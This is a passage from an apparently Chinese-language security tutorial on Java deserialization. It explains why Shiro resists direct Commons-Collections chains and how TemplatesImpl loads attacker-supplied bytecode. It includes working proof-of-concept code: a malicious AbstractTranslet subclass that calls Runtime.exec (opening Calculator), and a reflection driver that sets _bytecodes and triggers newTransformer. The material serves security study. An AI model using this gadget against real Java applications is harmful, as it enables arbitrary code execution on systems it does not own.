[[Ljava.util.ArrayList; 同样是一个类数组,Class.forName() 可以加载,loadClass不能,这也正是这两点区别之一,也正是这个区别决定了Shiro不能直接用CC链去打。
TemplatesImpl利用前面介绍了ClassLoader的三种加载类的方法,在TemplatesImpl代码299行也存在一个defineClass(),这个不亚于php中的eval,
line:299对一个私有变量_bytecodes进行了加载,其中loader为一个自定义的TransletClassLoader里面只重写了defineClass。
static final class TransletClassLoader extends ClassLoader { TransletClassLoader(ClassLoader parent) { super(parent); } /** * Access to final protected superclass member from outer class. */ Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); } }_bytecodes 可以通过反射的方式进行赋值,看一下 299所在方法为defineTransletClasses(), 共有三个地方调用该方法:
其中getTransletInstance() 在调用 后,还进行了.newInstance()实例化操作。
这样类不但能被加载还能被实例化,满足_name
不为null,但getTransletInstance() 是一个私有方法,继续追踪有谁在调用这个方法:
public方法 newTransformer 有调用getTransletInstance(),那要把恶意类转化为byte数组赋值给_bytecodes 并调用newTransformer方法即可完成命令执行。
整理下命令执行的条件:
有地方调用newTransformer()
_name 不为null
恶意类的父类为org.apache.xalan.xsltc.runtime.AbstractTranslet
用自己的代码做下实验。
准备一个恶意类,继承AbstractTranslet:
package expUtils; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; /* * 供TemplatesImpl 使用的poc代码 * */ public class TemplatesEvilClass extends AbstractTranslet { private static final String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; static { // 攻击代码 System.out.println("static : pwn!"); try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } } public TemplatesEvilClass(){ // 攻击代码 System.out.println("constructor: pwn!"); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }基于恶意类生成恶意TemplatesImpl对象
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import expUtils.ReflectUtils; import javax.xml.transform.TransformerConfigurationException; import java.io.IOException; import static expUtils.ReflectUtils.getClassByte; public class Test3 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException { TemplatesImpl templates = new TemplatesImpl(); ReflectUtils.setFields(templates,"_name","9eek"); byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class"); // 将文件字节码转为byte[] byte[][] templatesEvilCode = new byte[][]{evilCode}; ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode); templates.newTransformer(); // 验证代码执行 } }恶意代码成功执行: